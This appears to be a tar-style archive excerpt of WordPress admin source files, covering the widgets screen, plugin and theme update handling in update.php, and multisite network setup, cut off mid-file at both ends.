'before_widget' => '', 'after_widget' => '', 'before_title' => '', 'after_title' => '', ) ); retrieve_widgets(); // We're saving a widget without JS. if ( isset( $_POST['savewidget'] ) || isset( $_POST['removewidget'] ) ) { $widget_id = $_POST['widget-id']; check_admin_referer( "save-delete-widget-$widget_id" ); $number = isset( $_POST['multi_number'] ) ? (int) $_POST['multi_number'] : ''; if ( $number ) { foreach ( $_POST as $key => $val ) { if ( is_array( $val ) && preg_match( '/__i__|%i%/', key( $val ) ) ) { $_POST[ $key ] = array( $number => array_shift( $val ) ); break; } } } $sidebar_id = $_POST['sidebar']; $position = isset( $_POST[ $sidebar_id . '_position' ] ) ? (int) $_POST[ $sidebar_id . '_position' ] - 1 : 0; $id_base = $_POST['id_base']; $sidebar = $sidebars_widgets[ $sidebar_id ] ?? array(); // Delete. if ( isset( $_POST['removewidget'] ) && $_POST['removewidget'] ) { if ( ! in_array( $widget_id, $sidebar, true ) ) { wp_redirect( admin_url( 'widgets.php?error=0' ) ); exit; } $sidebar = array_diff( $sidebar, array( $widget_id ) ); $_POST = array( 'sidebar' => $sidebar_id, 'widget-' . $id_base => array(), 'the-widget-id' => $widget_id, 'delete_widget' => '1', ); /** * Fires immediately after a widget has been marked for deletion. * * @since 4.4.0 * * @param string $widget_id ID of the widget marked for deletion. * @param string $sidebar_id ID of the sidebar the widget was deleted from. * @param string $id_base ID base for the widget. */ do_action( 'delete_widget', $widget_id, $sidebar_id, $id_base ); } $_POST['widget-id'] = $sidebar; foreach ( (array) $wp_registered_widget_updates as $name => $control ) { if ( $name !== $id_base || ! is_callable( $control['callback'] ) ) { continue; } ob_start(); call_user_func_array( $control['callback'], $control['params'] ); ob_end_clean(); break; } $sidebars_widgets[ $sidebar_id ] = $sidebar; // Remove old position. if ( ! isset( $_POST['delete_widget'] ) ) { foreach ( $sidebars_widgets as $sidebar_widget_id => $sidebar_widget ) { if ( is_array( $sidebar_widget ) ) { $sidebars_widgets[ $sidebar_widget_id ] = array_diff( $sidebar_widget, array( $widget_id ) ); } } array_splice( $sidebars_widgets[ $sidebar_id ], $position, 0, $widget_id ); } wp_set_sidebars_widgets( $sidebars_widgets ); wp_redirect( admin_url( 'widgets.php?message=0' ) ); exit; } // Remove inactive widgets without JS. if ( isset( $_POST['removeinactivewidgets'] ) ) { check_admin_referer( 'remove-inactive-widgets', '_wpnonce_remove_inactive_widgets' ); if ( $_POST['removeinactivewidgets'] ) { foreach ( $sidebars_widgets['wp_inactive_widgets'] as $key => $widget_id ) { $pieces = explode( '-', $widget_id ); $multi_number = array_pop( $pieces ); $id_base = implode( '-', $pieces ); $widget = get_option( 'widget_' . $id_base ); unset( $widget[ $multi_number ] ); update_option( 'widget_' . $id_base, $widget ); unset( $sidebars_widgets['wp_inactive_widgets'][ $key ] ); } wp_set_sidebars_widgets( $sidebars_widgets ); } wp_redirect( admin_url( 'widgets.php?message=0' ) ); exit; } // Output the widget form without JS. if ( isset( $_GET['editwidget'] ) && $_GET['editwidget'] ) { $widget_id = $_GET['editwidget']; if ( isset( $_GET['addnew'] ) ) { // Default to the first sidebar. $keys = array_keys( $wp_registered_sidebars ); $sidebar = reset( $keys ); if ( isset( $_GET['base'] ) && isset( $_GET['num'] ) ) { // Multi-widget. // Copy minimal info from an existing instance of this widget to a new instance. foreach ( $wp_registered_widget_controls as $control ) { if ( $_GET['base'] === $control['id_base'] ) { $control_callback = $control['callback']; $multi_number = (int) $_GET['num']; $control['params'][0]['number'] = -1; $control['id'] = $control['id_base'] . '-' . $multi_number; $widget_id = $control['id']; $wp_registered_widget_controls[ $control['id'] ] = $control; break; } } } } if ( isset( $wp_registered_widget_controls[ $widget_id ] ) && ! isset( $control ) ) { $control = $wp_registered_widget_controls[ $widget_id ]; $control_callback = $control['callback']; } elseif ( ! isset( $wp_registered_widget_controls[ $widget_id ] ) && isset( $wp_registered_widgets[ $widget_id ] ) ) { $name = esc_html( strip_tags( $wp_registered_widgets[ $widget_id ]['name'] ) ); } if ( ! isset( $name ) ) { $name = esc_html( strip_tags( $control['name'] ) ); } if ( ! isset( $sidebar ) ) { $sidebar = $_GET['sidebar'] ?? 'wp_inactive_widgets'; } if ( ! isset( $multi_number ) ) { $multi_number = $control['params'][0]['number'] ?? ''; } $id_base = $control['id_base'] ?? $control['id']; // Show the widget form. $width = ' style="width:' . max( $control['width'], 350 ) . 'px"'; $key = isset( $_GET['key'] ) ? (int) $_GET['key'] : 0; require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1><?php echo esc_html( $title ); ?></h1> <div class="editwidget"<?php echo $width; ?>> <h2> <?php /* translators: %s: Widget name. */ printf( __( 'Widget %s' ), $name ); ?> </h2> <form action="widgets.php" method="post"> <div class="widget-inside"> <?php if ( is_callable( $control_callback ) ) { call_user_func_array( $control_callback, $control['params'] ); } else { echo '<p>' . __( 'There are no options for this widget.' ) . "</p>\n"; } ?> </div> <p class="describe"><?php _e( 'Select both the sidebar for this widget and the position of the widget in that sidebar.' ); ?></p> <div class="widget-position"> <table class="widefat"><thead><tr><th><?php _e( 'Sidebar' ); ?></th><th><?php _e( 'Position' ); ?></th></tr></thead><tbody> <?php foreach ( $wp_registered_sidebars as $sidebar_name => $sidebar_data ) { echo "\t\t<tr><td><label><input type='radio' name='sidebar' value='" . esc_attr( $sidebar_name ) . "'" . checked( $sidebar_name, $sidebar, false ) . " /> $sidebar_data[name]</label></td><td>"; if ( 'wp_inactive_widgets' === $sidebar_name || str_starts_with( $sidebar_name, 'orphaned_widgets' ) ) { echo ' '; } else { if ( ! isset( $sidebars_widgets[ $sidebar_name ] ) || ! is_array( $sidebars_widgets[ $sidebar_name ] ) ) { $widget_count = 1; $sidebars_widgets[ $sidebar_name ] = array(); } else { $widget_count = count( $sidebars_widgets[ $sidebar_name ] ); if ( isset( $_GET['addnew'] ) || ! in_array( $widget_id, $sidebars_widgets[ $sidebar_name ], true ) ) { ++$widget_count; } } $selected = ''; echo "\t\t<select name='{$sidebar_name}_position'>\n"; echo "\t\t<option value=''>" . __( '— Select —' ) . "</option>\n"; for ( $i = 1; $i <= $widget_count; $i++ ) { if ( in_array( $widget_id, $sidebars_widgets[ $sidebar_name ], true ) ) { $selected = selected( $i, $key + 1, false ); } echo "\t\t<option value='$i'$selected> $i </option>\n"; } echo "\t\t</select>\n"; } echo "</td></tr>\n"; } ?> </tbody></table> </div> <div class="widget-control-actions"> <div class="left-actions"> <?php if ( ! isset( $_GET['addnew'] ) ) : ?> <input type="submit" name="removewidget" id="removewidget" class="button-link button-link-delete widget-control-remove" value="<?php esc_attr_e( 'Delete' ); ?>" /> <span class="widget-control-close-wrapper"> | <a href="widgets.php" class="button-link widget-control-close"><?php _e( 'Cancel' ); ?></a> </span> <?php else : ?> <a href="widgets.php" class="button-link widget-control-close"><?php _e( 'Cancel' ); ?></a> <?php endif; ?> </div> <div class="right-actions"> <?php submit_button( __( 'Save Widget' ), 'primary alignright', 'savewidget', false ); ?> <input type="hidden" name="widget-id" class="widget-id" value="<?php echo esc_attr( $widget_id ); ?>" /> <input type="hidden" name="id_base" class="id_base" value="<?php echo esc_attr( $id_base ); ?>" /> <input type="hidden" name="multi_number" class="multi_number" value="<?php echo esc_attr( $multi_number ); ?>" /> <?php wp_nonce_field( "save-delete-widget-$widget_id" ); ?> </div> </div> </form> </div> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; exit; } $messages = array( __( 'Changes saved.' ), ); $errors = array( __( 'Error while saving.' ), __( 'Error in displaying the widget settings form.' ), ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1 class="wp-heading-inline"> <?php echo esc_html( $title ); ?> </h1> <?php if ( current_user_can( 'customize' ) ) { printf( ' <a class="page-title-action hide-if-no-customize" href="%1$s">%2$s</a>', esc_url( add_query_arg( array( array( 'autofocus' => array( 'panel' => 'widgets' ) ), 'return' => urlencode( remove_query_arg( wp_removable_query_args(), wp_unslash( $_SERVER['REQUEST_URI'] ) ) ), ), admin_url( 'customize.php' ) ) ), __( 'Manage with Live Preview' ) ); } $nonce = wp_create_nonce( 'widgets-access' ); ?> <div class="widget-access-link"> <a id="access-on" href="widgets.php?widgets-access=on&_wpnonce=<?php echo urlencode( $nonce ); ?>"><?php _e( 'Enable accessibility mode' ); ?></a><a id="access-off" href="widgets.php?widgets-access=off&_wpnonce=<?php echo urlencode( $nonce ); ?>"><?php _e( 'Disable accessibility mode' ); ?></a> </div> <hr class="wp-header-end"> <?php if ( isset( $_GET['message'] ) && isset( $messages[ $_GET['message'] ] ) ) { wp_admin_notice( $messages[ $_GET['message'] ], array( 'id' => 'message', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } if ( isset( $_GET['error'] ) && isset( $errors[ $_GET['error'] ] ) ) { wp_admin_notice( $errors[ $_GET['error'] ], array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); } /** * Fires before the Widgets administration page content loads. * * @since 3.0.0 */ do_action( 'widgets_admin_page' ); ?> <div class="widget-liquid-left"> <div id="widgets-left"> <div id="available-widgets" class="widgets-holder-wrap"> <div class="sidebar-name"> <button type="button" class="handlediv hide-if-no-js" aria-expanded="true"> <span class="screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e( 'Available Widgets' ); ?> </span> <span class="toggle-indicator" aria-hidden="true"></span> </button> <h2><?php _e( 'Available Widgets' ); ?> <span id="removing-widget"><?php _ex( 'Deactivate', 'removing-widget' ); ?> <span></span></span></h2> </div> <div class="widget-holder"> <div class="sidebar-description"> <p class="description"><?php _e( 'To activate a widget drag it to a sidebar or click on it. To deactivate a widget and delete its settings, drag it back.' ); ?></p> </div> <div id="widget-list"> <?php wp_list_widgets(); ?> </div> <br class='clear' /> </div> <br class="clear" /> </div> <?php $theme_sidebars = array(); foreach ( $wp_registered_sidebars as $sidebar => $registered_sidebar ) { if ( str_contains( $registered_sidebar['class'], 'inactive-sidebar' ) || str_starts_with( $sidebar, 'orphaned_widgets' ) ) { $wrap_class = 'widgets-holder-wrap'; if ( ! empty( $registered_sidebar['class'] ) ) { $wrap_class .= ' ' . $registered_sidebar['class']; } $is_inactive_widgets = 'wp_inactive_widgets' === $registered_sidebar['id']; ?> <div class="<?php echo esc_attr( $wrap_class ); ?>"> <div class="widget-holder inactive"> <?php wp_list_widget_controls( $registered_sidebar['id'], $registered_sidebar['name'] ); ?> <?php if ( $is_inactive_widgets ) { ?> <div class="remove-inactive-widgets"> <form method="post"> <p> <?php $attributes = array( 'id' => 'inactive-widgets-control-remove' ); if ( empty( $sidebars_widgets['wp_inactive_widgets'] ) ) { $attributes['disabled'] = ''; } submit_button( __( 'Clear Inactive Widgets' ), 'delete', 'removeinactivewidgets', false, $attributes ); ?> <span class="spinner"></span> </p> <?php wp_nonce_field( 'remove-inactive-widgets', '_wpnonce_remove_inactive_widgets' ); ?> </form> </div> <?php } ?> </div> <?php if ( $is_inactive_widgets ) { ?> <p class="description"><?php _e( 'This will clear all items from the inactive widgets list. You will not be able to restore any customizations.' ); ?></p> <?php } ?> </div> <?php } else { $theme_sidebars[ $sidebar ] = $registered_sidebar; } } ?> </div> </div> <?php $sidebar_index = 0; $split = 0; $single_sidebar_class = ''; $sidebars_count = count( $theme_sidebars ); if ( $sidebars_count > 1 ) { $split = (int) ceil( $sidebars_count / 2 ); } else { $single_sidebar_class = ' single-sidebar'; } ?> <div class="widget-liquid-right"> <div id="widgets-right" class="wp-clearfix<?php echo $single_sidebar_class; ?>"> <div class="sidebars-column-1"> <?php foreach ( $theme_sidebars as $sidebar => $registered_sidebar ) { $wrap_class = 'widgets-holder-wrap'; if ( ! empty( $registered_sidebar['class'] ) ) { $wrap_class .= ' sidebar-' . $registered_sidebar['class']; } if ( $sidebar_index > 0 ) { $wrap_class .= ' closed'; } if ( $split && $sidebar_index === $split ) { ?> </div><div class="sidebars-column-2"> <?php } ?> <div class="<?php echo esc_attr( $wrap_class ); ?>"> <?php // Show the control forms for each of the widgets in this sidebar. wp_list_widget_controls( $sidebar, $registered_sidebar['name'] ); ?> </div> <?php ++$sidebar_index; } ?> </div> </div> </div> <form method="post"> <?php wp_nonce_field( 'save-sidebar-widgets', '_wpnonce_widgets', false ); ?> </form> <br class="clear" /> </div> <div class="widgets-chooser"> <ul class="widgets-chooser-sidebars"></ul> <div class="widgets-chooser-actions"> <button class="button widgets-chooser-cancel"><?php _e( 'Cancel' ); ?></button> <button class="button button-primary widgets-chooser-add"><?php _e( 'Add Widget' ); ?></button> </div> </div> <?php /** * Fires after the available widgets and sidebars have loaded, before the admin footer. * * @since 2.2.0 */ do_action( 'sidebar_admin_page' ); require_once ABSPATH . 'wp-admin/admin-footer.php'; .htaccess 0000644 00000000023 15233246126 0006341 0 ustar 00 # 83fedfa2c9a30a66 update.php 0000644 00000031406 15233246126 0006547 0 ustar 00 <?php /** * Update/Install Plugin/Theme administration panel. * * @package WordPress * @subpackage Administration */ if ( ! defined( 'IFRAME_REQUEST' ) && isset( $_GET['action'] ) && in_array( $_GET['action'], array( 'update-selected', 'activate-plugin', 'update-selected-themes' ), true ) ) { define( 'IFRAME_REQUEST', true ); } /** WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; wp_enqueue_script( 'wp-a11y' ); if ( isset( $_GET['action'] ) ) { $plugin = isset( $_REQUEST['plugin'] ) ? trim( $_REQUEST['plugin'] ) : ''; $theme = isset( $_REQUEST['theme'] ) ? urldecode( $_REQUEST['theme'] ) : ''; $action = $_REQUEST['action'] ?? ''; if ( 'update-selected' === $action ) { if ( ! current_user_can( 'update_plugins' ) ) { wp_die( __( 'Sorry, you are not allowed to update plugins for this site.' ) ); } check_admin_referer( 'bulk-update-plugins' ); if ( isset( $_GET['plugins'] ) ) { $plugins = explode( ',', stripslashes( $_GET['plugins'] ) ); } elseif ( isset( $_POST['checked'] ) ) { $plugins = (array) $_POST['checked']; } else { $plugins = array(); } $plugins = array_map( 'urldecode', $plugins ); $url = 'update.php?action=update-selected&plugins=' . urlencode( implode( ',', $plugins ) ); $nonce = 'bulk-update-plugins'; wp_enqueue_script( 'updates' ); iframe_header(); $upgrader = new Plugin_Upgrader( new Bulk_Plugin_Upgrader_Skin( compact( 'nonce', 'url' ) ) ); $upgrader->bulk_upgrade( $plugins ); iframe_footer(); } elseif ( 'upgrade-plugin' === $action ) { if ( ! current_user_can( 'update_plugins' ) ) { wp_die( __( 'Sorry, you are not allowed to update plugins for this site.' ) ); } check_admin_referer( 'upgrade-plugin_' . $plugin ); // Used in the HTML title tag. $title = __( 'Update Plugin' ); $parent_file = 'plugins.php'; $submenu_file = 'plugins.php'; wp_enqueue_script( 'updates' ); require_once ABSPATH . 'wp-admin/admin-header.php'; $nonce = 'upgrade-plugin_' . $plugin; $url = 'update.php?action=upgrade-plugin&plugin=' . urlencode( $plugin ); $upgrader = new Plugin_Upgrader( new Plugin_Upgrader_Skin( compact( 'title', 'nonce', 'url', 'plugin' ) ) ); $upgrader->upgrade( $plugin ); require_once ABSPATH . 'wp-admin/admin-footer.php'; } elseif ( 'activate-plugin' === $action ) { if ( ! current_user_can( 'update_plugins' ) ) { wp_die( __( 'Sorry, you are not allowed to update plugins for this site.' ) ); } check_admin_referer( 'activate-plugin_' . $plugin ); if ( ! isset( $_GET['failure'] ) && ! isset( $_GET['success'] ) ) { wp_redirect( admin_url( 'update.php?action=activate-plugin&failure=true&plugin=' . urlencode( $plugin ) . '&_wpnonce=' . $_GET['_wpnonce'] ) ); activate_plugin( $plugin, '', ! empty( $_GET['networkwide'] ), true ); wp_redirect( admin_url( 'update.php?action=activate-plugin&success=true&plugin=' . urlencode( $plugin ) . '&_wpnonce=' . $_GET['_wpnonce'] ) ); die(); } iframe_header( __( 'Plugin Reactivation' ), true ); if ( isset( $_GET['success'] ) ) { echo '<p>' . __( 'Plugin reactivated successfully.' ) . '</p>'; } if ( isset( $_GET['failure'] ) ) { echo '<p>' . __( 'Plugin failed to reactivate due to a fatal error.' ) . '</p>'; error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR ); ini_set( 'display_errors', true ); // Ensure that fatal errors are displayed. wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $plugin ); include WP_PLUGIN_DIR . '/' . $plugin; } iframe_footer(); } elseif ( 'install-plugin' === $action ) { if ( ! current_user_can( 'install_plugins' ) ) { wp_die( __( 'Sorry, you are not allowed to install plugins on this site.' ) ); } require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; // For plugins_api(). check_admin_referer( 'install-plugin_' . $plugin ); $api = plugins_api( 'plugin_information', array( 'slug' => $plugin, 'fields' => array( 'sections' => false, ), ) ); if ( is_wp_error( $api ) ) { wp_die( $api ); } // Used in the HTML title tag. $title = __( 'Plugin Installation' ); $parent_file = 'plugins.php'; $submenu_file = 'plugin-install.php'; require_once ABSPATH . 'wp-admin/admin-header.php'; /* translators: %s: Plugin name and version. */ $title = sprintf( __( 'Installing Plugin: %s' ), $api->name . ' ' . $api->version ); $nonce = 'install-plugin_' . $plugin; $url = 'update.php?action=install-plugin&plugin=' . urlencode( $plugin ); if ( isset( $_GET['from'] ) ) { $url .= '&from=' . urlencode( stripslashes( $_GET['from'] ) ); } $type = 'web'; // Install plugin type, From Web or an Upload. $upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact( 'title', 'url', 'nonce', 'plugin', 'api' ) ) ); $upgrader->install( $api->download_link ); require_once ABSPATH . 'wp-admin/admin-footer.php'; } elseif ( 'upload-plugin' === $action ) { if ( ! current_user_can( 'upload_plugins' ) ) { wp_die( __( 'Sorry, you are not allowed to install plugins on this site.' ) ); } check_admin_referer( 'plugin-upload' ); if ( isset( $_FILES['pluginzip']['name'] ) && ! str_ends_with( strtolower( $_FILES['pluginzip']['name'] ), '.zip' ) ) { wp_die( __( 'Only .zip archives may be uploaded.' ) ); } $file_upload = new File_Upload_Upgrader( 'pluginzip', 'package' ); // Used in the HTML title tag. $title = __( 'Upload Plugin' ); $parent_file = 'plugins.php'; $submenu_file = 'plugin-install.php'; require_once ABSPATH . 'wp-admin/admin-header.php'; /* translators: %s: File name. */ $title = sprintf( __( 'Installing plugin from uploaded file: %s' ), esc_html( basename( $file_upload->filename ) ) ); $nonce = 'plugin-upload'; $url = add_query_arg( array( 'package' => $file_upload->id ), 'update.php?action=upload-plugin' ); $type = 'upload'; // Install plugin type, From Web or an Upload. $overwrite = isset( $_GET['overwrite'] ) ? sanitize_text_field( $_GET['overwrite'] ) : ''; $overwrite = in_array( $overwrite, array( 'update-plugin', 'downgrade-plugin' ), true ) ? $overwrite : ''; $upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact( 'type', 'title', 'nonce', 'url', 'overwrite' ) ) ); $result = $upgrader->install( $file_upload->package, array( 'overwrite_package' => $overwrite ) ); if ( $result || is_wp_error( $result ) ) { $file_upload->cleanup(); } require_once ABSPATH . 'wp-admin/admin-footer.php'; } elseif ( 'upload-plugin-cancel-overwrite' === $action ) { if ( ! current_user_can( 'upload_plugins' ) ) { wp_die( __( 'Sorry, you are not allowed to install plugins on this site.' ) ); } check_admin_referer( 'plugin-upload-cancel-overwrite' ); // Make sure the attachment still exists, or File_Upload_Upgrader will call wp_die() // that shows a generic "Please select a file" error. if ( ! empty( $_GET['package'] ) ) { $attachment_id = (int) $_GET['package']; if ( get_post( $attachment_id ) ) { $file_upload = new File_Upload_Upgrader( 'pluginzip', 'package' ); $file_upload->cleanup(); } } wp_redirect( self_admin_url( 'plugin-install.php' ) ); exit; } elseif ( 'upgrade-theme' === $action ) { if ( ! current_user_can( 'update_themes' ) ) { wp_die( __( 'Sorry, you are not allowed to update themes for this site.' ) ); } check_admin_referer( 'upgrade-theme_' . $theme ); wp_enqueue_script( 'updates' ); // Used in the HTML title tag. $title = __( 'Update Theme' ); $parent_file = 'themes.php'; $submenu_file = 'themes.php'; require_once ABSPATH . 'wp-admin/admin-header.php'; $nonce = 'upgrade-theme_' . $theme; $url = 'update.php?action=upgrade-theme&theme=' . urlencode( $theme ); $upgrader = new Theme_Upgrader( new Theme_Upgrader_Skin( compact( 'title', 'nonce', 'url', 'theme' ) ) ); $upgrader->upgrade( $theme ); require_once ABSPATH . 'wp-admin/admin-footer.php'; } elseif ( 'update-selected-themes' === $action ) { if ( ! current_user_can( 'update_themes' ) ) { wp_die( __( 'Sorry, you are not allowed to update themes for this site.' ) ); } check_admin_referer( 'bulk-update-themes' ); if ( isset( $_GET['themes'] ) ) { $themes = explode( ',', stripslashes( $_GET['themes'] ) ); } elseif ( isset( $_POST['checked'] ) ) { $themes = (array) $_POST['checked']; } else { $themes = array(); } $themes = array_map( 'urldecode', $themes ); $url = 'update.php?action=update-selected-themes&themes=' . urlencode( implode( ',', $themes ) ); $nonce = 'bulk-update-themes'; wp_enqueue_script( 'updates' ); iframe_header(); $upgrader = new Theme_Upgrader( new Bulk_Theme_Upgrader_Skin( compact( 'nonce', 'url' ) ) ); $upgrader->bulk_upgrade( $themes ); iframe_footer(); } elseif ( 'install-theme' === $action ) { if ( ! current_user_can( 'install_themes' ) ) { wp_die( __( 'Sorry, you are not allowed to install themes on this site.' ) ); } require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; // For themes_api(). check_admin_referer( 'install-theme_' . $theme ); $api = themes_api( 'theme_information', array( 'slug' => $theme, 'fields' => array( 'sections' => false, 'tags' => false, ), ) ); // Save on a bit of bandwidth. if ( is_wp_error( $api ) ) { wp_die( $api ); } // Used in the HTML title tag. $title = __( 'Install Themes' ); $parent_file = 'themes.php'; $submenu_file = 'themes.php'; require_once ABSPATH . 'wp-admin/admin-header.php'; /* translators: %s: Theme name and version. */ $title = sprintf( __( 'Installing Theme: %s' ), $api->name . ' ' . $api->version ); $nonce = 'install-theme_' . $theme; $url = 'update.php?action=install-theme&theme=' . urlencode( $theme ); $type = 'web'; // Install theme type, From Web or an Upload. $upgrader = new Theme_Upgrader( new Theme_Installer_Skin( compact( 'title', 'url', 'nonce', 'plugin', 'api' ) ) ); $upgrader->install( $api->download_link ); require_once ABSPATH . 'wp-admin/admin-footer.php'; } elseif ( 'upload-theme' === $action ) { if ( ! current_user_can( 'upload_themes' ) ) { wp_die( __( 'Sorry, you are not allowed to install themes on this site.' ) ); } check_admin_referer( 'theme-upload' ); if ( isset( $_FILES['themezip']['name'] ) && ! str_ends_with( strtolower( $_FILES['themezip']['name'] ), '.zip' ) ) { wp_die( __( 'Only .zip archives may be uploaded.' ) ); } $file_upload = new File_Upload_Upgrader( 'themezip', 'package' ); // Used in the HTML title tag. $title = __( 'Upload Theme' ); $parent_file = 'themes.php'; $submenu_file = 'theme-install.php'; require_once ABSPATH . 'wp-admin/admin-header.php'; /* translators: %s: File name. */ $title = sprintf( __( 'Installing theme from uploaded file: %s' ), esc_html( basename( $file_upload->filename ) ) ); $nonce = 'theme-upload'; $url = add_query_arg( array( 'package' => $file_upload->id ), 'update.php?action=upload-theme' ); $type = 'upload'; // Install theme type, From Web or an Upload. $overwrite = isset( $_GET['overwrite'] ) ? sanitize_text_field( $_GET['overwrite'] ) : ''; $overwrite = in_array( $overwrite, array( 'update-theme', 'downgrade-theme' ), true ) ? $overwrite : ''; $upgrader = new Theme_Upgrader( new Theme_Installer_Skin( compact( 'type', 'title', 'nonce', 'url', 'overwrite' ) ) ); $result = $upgrader->install( $file_upload->package, array( 'overwrite_package' => $overwrite ) ); if ( $result || is_wp_error( $result ) ) { $file_upload->cleanup(); } require_once ABSPATH . 'wp-admin/admin-footer.php'; } elseif ( 'upload-theme-cancel-overwrite' === $action ) { if ( ! current_user_can( 'upload_themes' ) ) { wp_die( __( 'Sorry, you are not allowed to install themes on this site.' ) ); } check_admin_referer( 'theme-upload-cancel-overwrite' ); // Make sure the attachment still exists, or File_Upload_Upgrader will call wp_die() // that shows a generic "Please select a file" error. if ( ! empty( $_GET['package'] ) ) { $attachment_id = (int) $_GET['package']; if ( get_post( $attachment_id ) ) { $file_upload = new File_Upload_Upgrader( 'themezip', 'package' ); $file_upload->cleanup(); } } wp_redirect( self_admin_url( 'theme-install.php' ) ); exit; } else { /** * Fires when a custom plugin or theme update request is received. * * The dynamic portion of the hook name, `$action`, refers to the action * provided in the request for wp-admin/update.php. Can be used to * provide custom update functionality for themes and plugins. * * @since 2.8.0 */ do_action( "update-custom_{$action}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores } } network.php 0000644 00000012622 15233246126 0006755 0 ustar 00 <?php /** * Network installation administration panel. * * A multi-step process allowing the user to enable a network of WordPress sites. * * @since 3.0.0 * * @package WordPress * @subpackage Administration */ define( 'WP_INSTALLING_NETWORK', true ); /** WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'setup_network' ) ) { wp_die( __( 'Sorry, you are not allowed to manage options for this site.' ) ); } if ( is_multisite() ) { if ( ! is_network_admin() ) { wp_redirect( network_admin_url( 'setup.php' ) ); exit; } if ( ! defined( 'MULTISITE' ) ) { wp_die( __( 'The Network creation panel is not for WordPress MU networks.' ) ); } } require_once __DIR__ . '/includes/network.php'; // We need to create references to ms global tables to enable Network. foreach ( $wpdb->tables( 'ms_global' ) as $table => $prefixed_table ) { $wpdb->$table = $prefixed_table; } if ( ! network_domain_check() && ( ! defined( 'WP_ALLOW_MULTISITE' ) || ! WP_ALLOW_MULTISITE ) ) { wp_die( printf( /* translators: 1: WP_ALLOW_MULTISITE, 2: wp-config.php */ __( 'You must define the %1$s constant as true in your %2$s file to allow creation of a Network.' ), '<code>WP_ALLOW_MULTISITE</code>', '<code>wp-config.php</code>' ) ); } if ( is_network_admin() ) { // Used in the HTML title tag. $title = __( 'Network Setup' ); $parent_file = 'settings.php'; } else { // Used in the HTML title tag. $title = __( 'Create a Network of WordPress Sites' ); $parent_file = 'tools.php'; } $network_help = '<p>' . __( 'This screen allows you to configure a network as having subdomains (<code>site1.example.com</code>) or subdirectories (<code>example.com/site1</code>). Subdomains require wildcard subdomains to be enabled in Apache and DNS records, if your host allows it.' ) . '</p>' . '<p>' . __( 'Choose subdomains or subdirectories; this can only be switched afterwards by reconfiguring your installation. Fill out the network details, and click Install. If this does not work, you may have to add a wildcard DNS record (for subdomains) or change to another setting in Permalinks (for subdirectories).' ) . '</p>' . '<p>' . __( 'The next screen for Network Setup will give you individually-generated lines of code to add to your wp-config.php and .htaccess files. Make sure the settings of your FTP client make files starting with a dot visible, so that you can find .htaccess; you may have to create this file if it really is not there. Make backup copies of those two files.' ) . '</p>' . '<p>' . __( 'Add the designated lines of code to wp-config.php (just before <code>/*...stop editing...*/</code>) and <code>.htaccess</code> (replacing the existing WordPress rules).' ) . '</p>' . '<p>' . __( 'Once you add this code and refresh your browser, multisite should be enabled. This screen, now in the Network Admin navigation menu, will keep an archive of the added code. You can toggle between Network Admin and Site Admin by clicking on the Network Admin or an individual site name under the My Sites dropdown in the Toolbar.' ) . '</p>' . '<p>' . __( 'The choice of subdirectory sites is disabled if this setup is more than a month old because of permalink problems with “/blog/” from the main site. This disabling will be addressed in a future version.' ) . '</p>' . '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/create-network/">Documentation on Creating a Network</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/documentation/article/tools-network-screen/">Documentation on the Network Screen</a>' ) . '</p>'; get_current_screen()->add_help_tab( array( 'id' => 'network', 'title' => __( 'Network' ), 'content' => $network_help, ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/create-network/">Documentation on Creating a Network</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/documentation/article/tools-network-screen/">Documentation on the Network Screen</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1><?php echo esc_html( $title ); ?></h1> <?php if ( $_POST ) { check_admin_referer( 'install-network-1' ); require_once ABSPATH . 'wp-admin/includes/upgrade.php'; // Create network tables. install_network(); $base = parse_url( trailingslashit( get_option( 'home' ) ), PHP_URL_PATH ); $subdomain_install = allow_subdomain_install() ? ! empty( $_POST['subdomain_install'] ) : false; if ( ! network_domain_check() ) { $result = populate_network( 1, get_clean_basedomain(), sanitize_email( $_POST['email'] ), wp_unslash( $_POST['sitename'] ), $base, $subdomain_install ); if ( is_wp_error( $result ) ) { if ( 1 === count( $result->get_error_codes() ) && 'no_wildcard_dns' === $result->get_error_code() ) { network_step2( $result ); } else { network_step1( $result ); } } else { network_step2(); } } else { network_step2(); } } elseif ( is_multisite() || network_domain_check() ) { network_step2(); } else { network_step1(); } ?> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?> widgets.php 0000644 00000002130 15233246126 0006723 0 ustar 00 <?php /** * Widget administration screen. * * @package WordPress * @subpackage Administration */ /** WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; /** WordPress Administration Widgets API */ require_once ABSPATH . 'wp-admin/includes/widgets.php'; if ( ! current_user_can( 'edit_theme_options' ) ) { wp_die( '<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' . '<p>' . __( 'Sorry, you are not allowed to edit theme options on this site.' ) . '</p>', 403 ); } if ( ! current_theme_supports( 'widgets' ) ) { wp_die( __( 'The theme you are currently using is not widget-aware, meaning that it has no sidebars that you are able to change. For information 